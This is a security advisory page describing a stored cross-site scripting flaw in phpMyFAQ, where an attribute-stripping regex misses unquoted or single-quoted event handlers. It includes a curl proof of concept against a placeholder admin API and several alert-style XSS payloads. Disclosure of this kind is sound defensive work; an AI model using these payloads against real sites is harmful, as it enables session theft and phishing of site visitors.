CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N
Lifecycle Timeline
4Description
### Summary The sanitization pipeline for FAQ content is: 1. `Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS)` - encodes `<`, `>`, `"`, `'`, `&` to HTML entities 2. `html_entity_decode($input, ENT_QUOTES | ENT_HTML5)` - decodes entities back to characters 3. `Filter::removeAttributes($input)` - removes dangerous HTML attributes The `removeAttributes()` regex at line 174 only matches attributes with double-quoted values: ```php preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes); ``` This regex does NOT match: - Attributes with single quotes: `onerror='alert(1)'` - Attributes without quotes: `onerror=alert(1)` An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes. ### Details **Affected File:** `phpmyfaq/src/phpMyFAQ/Filter.php`, line 174 **Sanitization flow for FAQ question field:** `FaqController::create()` lines 110, 145-149: ```php $question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS); // ... ->setQuestion(Filter::removeAttributes(html_entity_decode( (string) $question, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8', ))) ``` **Template rendering:** `faq.twig` line 36: ```twig <h2 class="mb-4 border-bottom">{{ question | raw }}</h2> ``` **How the bypass works:** 1. Attacker submits: `<img src=x onerror=alert(1)>` 2. After `FILTER_SANITIZE_SPECIAL_CHARS`: `<img src=x onerror=alert(1)>` 3. After `html_entity_decode()`: `<img src=x onerror=alert(1)>` 4. `preg_match_all('/[a-z]+=".+"/iU', ...)` runs: - The regex requires `="..."` (double quotes) - `onerror=alert(1)` has NO quotes → NOT matched - `src=x` has NO quotes → NOT matched - No attributes are found for removal 5. Output: `<img src=x onerror=alert(1)>` (XSS payload intact) 6. Template renders with `|raw`: JavaScript executes in browser **Why double-quoted attributes are (partially) protected:** For `<img src="x" onerror="alert(1)">`: - The regex matches both `src="x"` and `onerror="alert(1)"` - `src` is in `$keep` → preserved - `onerror` is NOT in `$keep` → removed via `str_replace()` - Output: `<img src="x">` (safe) But this protection breaks with single quotes or no quotes. ### PoC **Step 1: Create FAQ with XSS payload (requires authenticated admin):** ```bash curl -X POST 'https://target.example.com/admin/api/faq/create' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=admin_session' \ -d '{ "data": { "pmf-csrf-token": "valid_csrf_token", "question": "<img src=x onerror=alert(document.cookie)>", "answer": "Test answer", "lang": "en", "categories[]": 1, "active": "yes", "tags": "test", "keywords": "test", "author": "test", "email": "[email protected]" } }' ``` **Step 2: XSS triggers on public FAQ page** Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS: ``` https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html ``` The FAQ title is rendered with `|raw` in `faq.twig` line 36 without HtmlSanitizer processing (the `processQuestion()` method in `FaqDisplayService` only applies search highlighting, not `cleanUpContent()`). **Alternative payloads:** ```html <img/src=x onerror=alert(1)> <svg onload=alert(1)> <details open ontoggle=alert(1)> ``` ### Impact - **Public XSS:** The XSS executes for ALL users viewing the FAQ page, not just admins. - **Session hijacking:** Steal session cookies of all users viewing the FAQ. - **Phishing:** Display fake login forms to steal credentials. - **Worm propagation:** Self-replicating XSS that creates new FAQs with the same payload. - **Malware distribution:** Redirect users to malicious sites. **Note:** While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.
Analysis
Stored cross-site scripting (XSS) in phpMyFAQ allows authenticated administrators to inject unquoted or single-quoted event handler attributes that bypass the content sanitization pipeline, resulting in arbitrary JavaScript execution for all FAQ page visitors. The vulnerability exists in the removeAttributes() regex filter (line 174 of Filter.php) which only matches double-quoted HTML attributes, allowing payloads like <img src=x onerror=alert(1)> to persist and execute in the browser when the FAQ is rendered with the |raw Twig filter. …
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-18260
GHSA-cv2g-8cj8-vgc7